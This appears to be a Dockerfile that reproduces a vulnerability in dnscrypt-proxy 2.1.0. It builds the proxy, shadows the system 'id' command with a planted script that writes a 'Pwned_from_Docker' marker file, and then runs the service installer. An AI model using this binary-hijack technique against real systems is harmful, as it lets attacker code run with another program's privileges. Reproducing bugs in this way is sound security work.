FROM ubuntu:24.04 RUN apt-get update && apt-get install -y \ git \ golang-go \ sudo WORKDIR /workspace RUN git clone https://github.com/DNSCrypt/dnscrypt-proxy.git && \ cd dnscrypt-proxy && \ git checkout tags/2.1.0 && \ go build -o proxy ./dnscrypt-proxy RUN bash -c 'echo -e "#!/bin/bash\necho Pwned_from_Docker > /tmp/poc_was_here" > /tmp/id' && \ chmod +x /tmp/id && \ ln -sf /tmp/id /usr/local/bin/id CMD ["./dnscrypt-proxy/proxy", "-service", "install"]